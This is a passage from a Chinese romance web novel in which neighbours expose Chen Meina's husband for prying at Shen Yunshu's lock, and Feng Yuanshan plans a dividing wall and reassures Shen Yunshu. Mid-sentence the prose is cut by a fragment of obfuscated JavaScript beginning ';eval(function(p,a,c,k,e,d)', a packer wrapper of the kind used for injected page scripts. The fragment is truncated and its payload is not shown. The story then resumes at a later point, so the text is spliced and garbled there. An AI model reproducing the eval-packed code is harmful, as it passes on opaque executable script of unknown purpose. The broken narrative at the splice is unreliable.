方青萤冷笑,“这还真是贼喊捉贼,本来我们还找不到正主儿呢,这不自己把自己给送上门了。” 陈美娜心里有些慌,下巴扬得更高,“你什么意思?” 方青萤道,“昨晚顾家老太太做了酱牛肉,让冯远山给云舒和小知言送过来些,结果就撞到有人在撬云舒院里的门,那人矮得像木桩,瘦得跟猴儿一样,脑袋中间一块儿还秃得锃光瓦亮,我就说这人听着像是在哪儿见过似的,原来就是你家张明达啊。” 陈美娜也冷笑,对其他人道,“你们听听,你们听听,我都不知道这世道现在是什么世道了,她沈云舒不要脸大半夜的随随便便让男人上门,还打着什么送酱牛肉的幌子,怎么反倒成了我在这儿贼喊捉贼了。” 国强媳妇儿按一下她的胳膊,“你还不知道吗,冯远山和云舒要结婚了,今天上午顾家已经上门提了亲,光彩礼就给了这个数。” 陈美娜先是被沈云舒和冯远山要结婚的事情给惊住,又被国强媳妇儿比出的手指给晃了眼,一时间都忘了说话。 有人看热闹不怕事儿大地问,“你们家张明达回自己家怎么还撬上了锁?” 陈美娜脑子一乱,就把自己给绕进了坑里,“沈云舒早早地就把院门给锁上了,张明达又敲不开,他不撬锁能怎么办,我要是吃不到药,我半夜得叫急诊送了医院。” 还没等方青萤怼她,一边的黄大爷就听不下去了,“快得了吧,就你们两口子每次敲门那动静,镇东头的那狗都能被你们给吵醒,他真要是敲了门我们不会听不到,他不敲门反而悄没生息地撬锁,打的什么主意只有他自己知道,之前也是你们回你娘家睡,我就堵到过他半夜回来想翻墙回院。” 方青萤冲着陈美娜呸一声,“这就叫狗改不了吃屎,云舒放在窗台上的那些老鼠夹子当初就该把他那手给夹断,看他以后还敢不敢撬锁。” 大家接着方青萤的话你一言我一语,飞过来的唾沫星子都快要把陈美娜给淹死,她一个人根本说不过这么多张嘴,最后只能灰溜溜地推着自行车跑了。 偷鸡不成蚀把米,陈美娜越想越气,直接拿自行车撞开了院子的门,对上冯远山冷冷看过来的眼神,刚要开骂的嘴又蔫了吧唧地给闭上了。 沈云舒慌着后退一步,从冯远山跟前错身离开。 陈美娜一看沈云舒那张白里透着粉的脸,就知道两个人肯定没干好事儿,她暗骂一句骚狐狸,但慑于冯远山不怒自威的气势,也不敢再往那边多看,只能拿自行车撒气。 沈云舒快蹿到嗓子眼的心跳被陈美娜这么一打岔,慢慢平缓下来,只是脸上的热度一直下不去,尤其是额头上被他敲的那块儿,他的力道明明也没有多重,沈云舒摸摸自己的额头,又拿手背冰了冰自己的脸,想尽快把青萤姐的话从她脑子里给驱散出去。 冯远山量好宽度和墙厚,记下数字,视线扫过她还沾着粉的脸颊,嗓音微哑,“明天你去给厂办打报告,说要在院子里建一道墙,院子的门也要在你这边单独开一个,材料人工都我们自己出,他们尽快安排人过来划线就行。” 沈云舒怔了下,看着他,眼底慢慢盈出些笑,“好,我明天就去跟厂办说。” 冯远山陷在她的眉眼弯弯里,握着的笔尖定在纸上,一时没动,她不仅能哭,还喜欢笑。 陈美娜叮铃咣当地锁上自行车,又踢了瘪气的轮胎一脚,火直往脑门顶,这真是人倒霉了,喝凉水都塞牙缝,还有那俩人,简直是把她当空气,她拿准冯远山就算再怎么厉害,也跟她一个女的没办法,他一个大男人肯定既扯不下面子和她对骂,更不能上手打她。 她阴阳怪气地哼一声,“确实得建道墙,没爹没娘都没人教点儿礼义廉耻,整天就知道勾搭男人,大白天的就干些没脸没皮的事儿,我看了都觉得害臊,回头我要是长了针眼,别人问起我,我都不好意思说我是怎么长的。” 冯远山神色生出寒戾,凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冯远山冷眼旁观,不紧不慢道,“叫警察来正好,省得我再多跑一趟派出所,报案昨晚门锁被撬的事情。” 他话刚说完,陈美娜就止住了嚎,拍拍屁股站起来,扭头扶起自行车,跟没事儿人一样开门进了屋。 陈美娜和张明达是一个被窝里睡不出两种人,一样的欺软怕硬,也最会见风使舵,变脸装赖的本事没谁能比得过,一见占不到什么便宜,立马就收手。 很多时候,沈云舒能不搭理他们就不搭理,不然一天到晚就光吵架玩儿了,但是真要动真格吵起来了,她也不会输,今天有他在,她不想和陈美娜没完没了地扯皮,战斗力比平时还要更强一些。 冯远山回过身看她,黑沉的眸子里透出些玩味,她这样鲜活灵动的样子他还是第一次见,说到他是她男人也是张口就来的自然,不像单独面对他时,处处都添着小心。 沈云舒却从他的目光里读出了别的意思,她知道她刚才的样子很难看,用词粗俗不堪,话捡着最难听的说,凶起来大概还面目狰狞,要多登不上台面就有多登不上台面。 她偏眼别开他的视线,僵挺的背里绷着不肯让他看低的倔强,“吵架就是这样,不凶吵不赢。” 冯远山看她一眼,收好卷尺,又从本子上撕下记着数字的纸,一贯沉默的侧脸让人根本探不出他在想什么。 空气里压着安静,沈云舒心里慢慢涌上来些别扭的难受,她其实也不知道她在期待着他说些什么,又或者就干脆什么都不说。 反正她的生活的环境就是这样的,跟他肯定没法比,她必须要凶一些,强势一些,才能不被欺负,也能护下小知言,就算真要和陈美娜撸袖子薅头发干起仗来,她也不怕她。 其实,让他看到她这样一面,也未必不是一件坏事,他要是现在想反悔也还来得及,就算不反悔,结婚后再看到她和别人这样对骂,也不会失望到哪儿去,她本来也不是多温柔贤惠的性子,他要是想找那样的媳妇儿还是趁早换别人。 沈云舒攥紧自己的手,扭头要回屋。 他低沉的嗓音在她耳侧响起,“凶有凶的好看。” 沈云舒脚步一滞。 冯远山漫不经心地叠着手里的纸,“笑起来更好看。” 沈云舒仰头看他,他面上还是没什么表情,冷冰冰的,却好像又没那么难靠近。 冯远山垂眸对上她的视线,默了片刻,又道,“我自己的媳妇儿,怎么样都好看。”